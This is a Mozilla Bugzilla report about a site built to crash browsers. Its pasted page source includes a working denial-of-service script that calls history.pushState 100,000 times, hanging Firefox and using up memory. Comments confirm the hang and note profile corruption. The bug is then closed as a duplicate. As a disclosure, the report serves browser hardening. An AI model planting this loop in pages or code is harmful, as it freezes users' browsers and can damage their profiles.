Closed
Bug 1246773
Opened 9 years ago
Closed 7 years ago
Rate-limit history.pushState use - when visiting certain website (misuse of History.pushState), browser hangs and consumes loads of memory
Categories
(Core :: DOM: Core & HTML, defect)
Core
DOM: Core & HTML
Tracking
()
RESOLVED
DUPLICATE
of bug 1314912
People
(Reporter: cmouse, Unassigned)
References
(Blocks 1 open bug)
Details
(Keywords: csectype-dos, hang, sec-low)
User Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Build ID: 20160105164030
Steps to reproduce:
1. Open firefox 43.0.4
2. Enter website http://crashsafari.com
Actual results:
Firefox becomes unresponsive and starts consuming lots of memory. It is also possible that when restarting firefox the site is reopened preventing startup.
Expected results:
Preventive measures should prevent misuse of History.pushState.
Page source is
<!DOCTYPE html>
<html>
<body>
<h1>What were you expecting?</h1>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-60737367-1', 'auto');
ga('send', 'pageview');
</script>
<script>
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
</script>
</body>
</html>
|
||
Updated•9 years ago
|
Group: firefox-core-security
Blocks: eviltraps
Component: Untriaged → Security
Product: Firefox → Core
Summary: When visiting certain website, browser hangs and consumes loads of memory → When visiting certain website (misuse of History.pushState), browser hangs and consumes loads of memory
|
||
Comment 2•9 years ago
|
||
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
I can confirm this issue for the latest Nightly. After opening the page Firefox becomes completely unresponsive, eats up all the memory and hangs my complete desktop in the process.
After a forced reboot strange errors occur. When switching between different tabs Firefox complains about slow tabs and offers to close them. The issue persisted until i created a new profile. This is probably related to the abused history.
|
||
Comment 4•8 years ago
|
||
NOTE: The only major browser able to open this website without a hitch is Microsoft Edge.
|
|
||
Comment 5•8 years ago
|
||
Please fix this bug soon. It can cause a security vulnerability on computers with less memory due to improper memory management by the OS (E.g. Lubuntu).
|
||
Updated•8 years ago
|
Component: Security → DOM
Keywords: csectype-dos,
sec-low
Summary: When visiting certain website (misuse of History.pushState), browser hangs and consumes loads of memory → Rate-limit history.pushState use - when visiting certain website (misuse of History.pushState), browser hangs and consumes loads of memory
|
||
Updated•7 years ago
|
|
|
||
Comment 8•7 years ago
|
||
duping forward because bug 1314912 appears to be active.
Status: NEW → RESOLVED
Closed: 7 years ago
Resolution: --- → DUPLICATE
|
Assignee | |
Updated•6 years ago
|
Component: DOM → DOM: Core & HTML
You need to log in
before you can comment on or make changes to this bug.
Description
•